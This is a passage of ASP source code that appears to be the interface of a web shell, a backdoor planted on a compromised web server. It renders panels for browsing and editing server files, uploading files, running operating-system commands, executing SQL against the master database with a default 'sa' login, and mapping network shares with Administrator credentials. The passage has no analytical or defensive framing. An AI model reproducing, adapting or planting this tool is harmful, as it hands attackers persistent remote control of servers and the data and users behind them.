Response.Write " <TD colspan=""2""><input name=""remoteMove"" id=""remoteMove"" value='' type=""text"" style=""width:250px;""><input type=""submit"" value=""Go »"" style=""width:50; font-weight:bold;""></TD>"
|
|
Response.Write "</form>"
|
|
Response.Write " <TD colspan=""3""></TD>"
|
|
Response.Write "</tr>"
|
|
Response.Write "</tbody>"
|
|
Response.Write "</table>"
|
|
Response.Write "</div>"
|
|
|
|
|
|
Response.Write "<div align=""center"">"
|
|
Response.Write "<table id=""tblPicture"" style=""display:none"" align=""center"" width=""95%""><TR><TD align='center' class=""kbrtm""><A href=""javascript:showMode('Explorer', true);"">[Back to Browser]</A></TD></TR><tr><td align='center' class=""kbrtm""><img id=""imgPicture"" src=""" & FilePath & "?mode=image&imgId=loading""></td></tr></table>"
|
|
Response.Write "<BR> </BR>"
|
|
Response.Write "</div>"
|
|
|
|
Response.Write "<div id=""tblFileEdit"" style=""display:none"" align=""center"">"
|
|
Response.Write "<form method=""post"" onSubmit=""saveFile();return false;"">"
|
|
Response.Write "<table class=""kbrtm"">"
|
|
Response.Write "<TR><TD align='center'><A href=""javascript:showMode('Explorer', true);"">[Back to Browser]</A></TD></TR>"
|
|
Response.Write "<tr>"
|
|
Response.Write "<td align=""center"">"
|
|
Response.Write "<b>Edit file : <font color=orange id=""lblFile"">"&folderLocation&"</font></b><br>"
|
|
Response.Write "<textarea name=""txtContent"" id=""txtContent"" style='width:800;height:600;'>"
|
|
Response.Write ""
|
|
Response.Write "</textarea>"
|
|
Response.Write "<br><br><input type=submit value="":: Save ::""><br></td></tr><tr><td align=""center"">"
|
|
Response.Write "</td></tr></table></form>"
|
|
Response.Write "</div>"
|
|
|
|
|
|
Response.Write "<div id=""tblUpload"" style=""display:none"" align=""center"">"
|
|
Response.Write "<table width=""600"">"
|
|
Response.Write "<TR><TD align='center' class=""kbrtm""><A href=""javascript:showMode('Explorer', true);"">[Back to Browser]</A></TD></TR>"
|
|
Response.Write "<tr><td class=""kbrtm"" align=""center"">Location : <b><font color=orange id=""uploadLocation""></font></b></td></tr>"
|
|
Response.Write "<tr><td align=""center"" class=""kbrtm"">"
|
|
Response.Write "<form name=""frmUpload"" method=""post"" enctype=""multipart/form-data"" action=""" & FilePath & "?mode=upload"" ID=""frmUpload"">"
|
|
Response.Write "<input type=hidden name=""linkBack"" id=""linkBack"" value=""#"">"
|
|
Response.Write "<input type=hidden name=""location"" value="""" ID=""txtuploadLocation"">"
|
|
Response.Write "Max: <input type=""text"" name=""max"" value=""1"" size=""2"" ID=""idMax""> <input type=""button"" value=""Set"" onclick=""setid();"">"
|
|
Response.Write "<table>"
|
|
Response.Write "<tr>"
|
|
Response.Write "<td id=""upid"">"
|
|
Response.Write "</td>"
|
|
Response.Write "</tr>"
|
|
Response.Write "</table>"
|
|
Response.Write "<input type=submit value="":: Upload ::"">"
|
|
Response.Write "</form>"
|
|
Response.Write "<script>"
|
|
Response.Write "setid();"
|
|
Response.Write "function setid() {"
|
|
Response.Write " str='';"
|
|
Response.Write " if (getId('frmUpload').max.value<=0) getId('frmUpload').max.value=1;"
|
|
Response.Write " if (getId('frmUpload').max.value > 10) getId('frmUpload').max.value=10;"
|
|
Response.Write " for (i=1; i<=getId('frmUpload').max.value; i++) str+='File '+i+': <input size=30 type=file name=file'+i+'><br>';"
|
|
Response.Write " getId('upid').innerHTML=str+'<br>';"
|
|
Response.Write "}"
|
|
Response.Write "</script>"
|
|
Response.Write "</td></tr></table>"
|
|
Response.Write "</div>"
|
|
|
|
Response.Write "<div id=""tblCmd"" style=""display:none"" align=""center"">"
|
|
Response.Write "<form onSubmit=""runCMD();return false;"" method=""post"">"
|
|
Response.Write "<table class=""kbrtm"">"
|
|
Response.Write "<TR><TD align='center'><A href=""javascript:showMode('Explorer', true);"">[Back to Browser]</A></TD></TR>"
|
|
Response.Write "<TR><TD align='center'><b>Command : </b><input style='color=#DAFDD0' name=""vcommand"" id=""vcommand"" size='57' value='ipconfig /all' type='text'><input value="".: Run :."" type='submit'></TD></TR>"
|
|
Response.Write "<tr>"
|
|
Response.Write "<td align=""center"">"
|
|
Response.Write "<textarea name=""txtCmdResult"" id=""txtCmdResult"" style='width:650;height:400;'>"
|
|
Response.Write "</textarea>"
|
|
Response.Write "</td></tr></table></form>"
|
|
Response.Write "</div>"
|
|
|
|
Response.Write "<div id=""tblSql"" style=""display:none"" align=""center"">"
|
|
Response.Write "<form onSubmit=""runSQL();return false;"" method=""post"">"
|
|
Response.Write "<table class=""kbrtm"">"
|
|
Response.Write "<TR><TD align='center' colspan='4' class=""kbrtm""><A href=""javascript:showMode('Explorer', true);"">[Back to Browser]</A></TD></TR>"
|
|
Response.Write "<TR>"
|
|
Response.Write "<TD><b>Connection String : </b></TD><TD colspan='3'><input style='color=#DAFDD0' name=""sqlconnection"" id=""sqlconnection"" size='121' value='Provider=SQLOLEDB;Data Source=127.0.0.1;database=master;uid=sa;pwd=;' type='text'></TD>"
|
|
Response.Write "</TR>"
|
|
Response.Write "<TR>"
|
|
Response.Write "<TD valign='top'><b>SQL Command : </b></TD><TD valign='top'><input type=""button"" id=""commandChange"" onClick=""sqlCommandChange();"" value="" <-> ""></TD>"
|
|
Response.Write "<TD><input style='color=#DAFDD0' name=""sqlcommand"" id=""sqlcommand"" size='100' value='SELECT TOP 1000 * FROM information_schema.tables' type='text'><textarea name=""txtsqlcommand"" id=""txtsqlcommand"" style='display:none;width:620px;height:150px;'>SELECT TOP 1000 * FROM information_schema.tables</textarea></TD>"
|
|
Response.Write "<TD valign='top'><input type=""submit"" value="":: Run ::""></TD></TR>"
|
|
Response.Write "<TR>"
|
|
Response.Write "<TD colspan='4' align=""center""><b><font color=orange id=""affected"">0</font> row(s) <span id=""lstAff"">listed</span> !</b></TD>"
|
|
Response.Write "</TR>"
|
|
Response.Write "</table>"
|
|
Response.Write "</form>"
|
|
Response.Write "<P> </P>"
|
|
|
|
Response.Write "<table class=""kbrtm"" id=""sqlContent"" width=""95%"">"
|
|
Response.Write "</table>"
|
|
|
|
Response.Write "</div>"
|
|
|
|
|
|
Response.Write "<div align=""center"">"
|
|
Response.Write "<table id=""tblDrivers"" cellpadding=""0"" cellspacing=""0"" width=""200""><TBODY>"
|
|
Response.Write "<tr><td class=""kbrtm"" style=""background-color:121212"" align=""center""><b>Drivers</b></td></tr>"
|
|
Response.Write driversText
|
|
Response.Write "<tr id=""addMapNetwork""><td class=""kbrtm"" align=""center""><a href=""javascript:showMapNetwork();"">[ + ]</a></td></tr>"
|
|
Response.Write "</TBODY></table>"
|
|
Response.Write "</div>"
|
|
|
|
Response.Write "<P> </P>"
|
|
Response.Write "</div>"
|
|
|
|
Response.Write "<div id=""tblMenu"" align=""center""><BR> "
|
|
Response.Write "<table cellpadding=""0"" cellspacing=""0"" height=""25""><tr><td class=""kbrtm1""> <a href=""javascript:showMode('Explorer', true);""><b>* Home *</B> </a> | <a href=""#SQL""><b>* SQL *</b></a> | <a href='#CMD'><b>* CMD *</b></a> </td></tr></table><br>"
|
|
Response.Write "</div>"
|
|
|
|
Response.Write "<div id=""tblMapDriver"" align=""center"">"
|
|
Response.Write "<form onSubmit=""mapDriver();return false;"" method=""post"">"
|
|
Response.Write "<table class=""kbrtm"">"
|
|
Response.Write "<TR><TD align='center' colspan=""2""><A href=""javascript:hideMapNetwork();"">[Back to Browser]</A></TD></TR>"
|
|
Response.Write "<TR><TD align='center'>Driver Letter : </TD><TD><input style='color=#DAFDD0' id=""driverLetter"" size='2' value='X' type='text'></TD></TR>"
|
|
Response.Write "<TR><TD align='center'>Remote Share : </TD><TD><input style='color=#DAFDD0' id=""remoteShare"" size='40' value='\\Server\Share' type='text'></TD></TR>"
|
|
Response.Write "<TR><TD align='center'>Username :</TD><TD><input style='color=#DAFDD0' id=""userName"" size='40' value='WORKGROUP\Administrator' type='text'></TD></TR>"
|
|
Response.Write "<TR><TD align='center'>Password : </TD><TD><input style='color=#DAFDD0' id=""password"" size='40' value='1234567890' type='text'></TD></TR>"
|
|
Response.Write "<tr><td align=""center"" colspan=""2""><input value="".: Map :."" type='submit'></td></tr>"
|
|
Response.Write "</table></form>"
|
|
Response.Write "</div>"
|
|
|
|
Response.Write "<div id=""overlay"">"
|
|
Response.Write "</div>"
|
|
|
|
Response.Write "<div id=""tblLoading"" align=""center"">"
|
|
Response.Write "<table width=""200"" height=""100"" style=""background:#303030;border-left:1px solid #5d5d5d; border-right:1px solid #121212; border-bottom:1px solid #121212; border-top:1px solid #5d5d5d;"" cellpadding=""0"" cellspacing=""0"" border=""0""><tr><td align=""center"" valign=""middle""><img src=""?mode=image&imgId=loading""></td></tr></table>"
|
|
Response.Write "</div>"
|
|
|
|
Response.Write "</body>"
|
|
Response.Write "</html>"
|
|
%> |